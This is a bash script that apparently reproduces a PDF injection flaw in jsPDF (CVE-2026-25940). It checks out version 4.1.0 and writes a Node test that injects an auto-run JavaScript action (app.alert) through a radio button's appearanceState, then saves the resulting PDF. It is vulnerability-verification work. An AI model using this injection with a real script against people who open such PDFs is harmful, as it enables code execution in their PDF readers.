#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "=== jsPDF PDF Injection Vulnerability Reproduction ==="
echo "GHSA-p5xg-68wr-hm3m / CVE-2026-25940"
echo ""

# Clone jsPDF repository at vulnerable version (< 4.2.0)
JSREPO="$ROOT/jsrepo"
if [ ! -d "$JSREPO" ]; then
    echo "[1/4] Cloning jsPDF repository..."
    git clone --quiet https://github.com/parallax/jsPDF.git "$JSREPO"
fi

cd "$JSREPO"

# Checkout vulnerable version (v4.1.0 or earlier)
echo "[2/4] Checking out vulnerable version..."
git checkout --quiet v4.1.0 2>/dev/null || git checkout --quiet $(git tag | grep -E '^v4\.[01]\.' | tail -1)

VERSION=$(cat package.json | grep '"version"' | head -1 | sed 's/.*: "\([^"]*\)".*/\1/')
echo "Version: $VERSION"

# Install dependencies if not already installed
if [ ! -d "node_modules" ]; then
    echo "[3/4] Installing dependencies..."
    npm install --silent 2>&1 | tail -3
fi

# Create test script if it doesn't exist
TEST_SCRIPT="$JSREPO/test_vuln.js"
if [ ! -f "$TEST_SCRIPT" ]; then
cat > "$TEST_SCRIPT" << 'TESTEOF'
#!/usr/bin/env node
const path = require('path');
const fs = require('fs');

const jsPDFPath = path.join(process.cwd(), 'dist', 'jspdf.node.js');
const { jsPDF } = require(jsPDFPath);

console.log('Testing jsPDF PDF Injection Vulnerability...');
console.log('jsPDF path:', jsPDFPath);

const pkg = require(path.join(process.cwd(), 'package.json'));
console.log('Version:', pkg.version);

const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10;
group.y = 10;
group.width = 20;
group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10;
child.y = 10;
child.width = 20;
child.height = 10;

// The malicious payload: inject JavaScript action
const maliciousPayload = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
child.appearanceState = maliciousPayload;

const pdfOutput = doc.output();

// Check if malicious JavaScript is embedded
const hasMaliciousJS = pdfOutput.includes('/AA << /E << /S /JavaScript');
const hasAlertPayload = pdfOutput.includes('app.alert');

console.log('\n--- Vulnerability Test Results ---');
console.log('Malicious payload embedded:', hasMaliciousJS);
console.log('Alert code present:', hasAlertPayload);

// Log PDF snippet to file
const LOGS = process.env.LOGS || './logs';
if (hasMaliciousJS) {
    const idx = pdfOutput.indexOf('/AA << /E');
    const snippet = pdfOutput.substring(Math.max(0, idx - 100), idx + 150);
    fs.writeFileSync(path.join(LOGS, 'pdf_snippet.txt'), snippet);
}

if (hasMaliciousJS && hasAlertPayload) {
    console.log('\n[CONFIRMED] Vulnerability exists: JavaScript payload is embedded in the PDF');
    
    // Save the malicious PDF
    const outputPath = path.join(LOGS, 'malicious_test.pdf');
    fs.writeFileSync(outputPath, pdfOutput, 'binary');
    console.log('Malicious PDF saved to:', outputPath);
    process.exit(0);
} else {
    console.log('\n[NOT CONFIRMED] Payload not found - vulnerability may be patched');
    process.exit(1);
}
TESTEOF
fi

# Run the test
echo "[4/4] Running vulnerability test..."
echo ""
export LOGS="$LOGS"
node "$TEST_SCRIPT" 2>&1 | tee "$LOGS/reproduction.log"
EXIT_CODE=${PIPESTATUS[0]}

echo ""
if [ $EXIT_CODE -eq 0 ]; then
    echo "=== Vulnerability Confirmed ==="
    echo "Evidence saved to: $LOGS/"
    exit 0
else
    echo "=== Vulnerability Not Confirmed ==="
    exit 1
fi
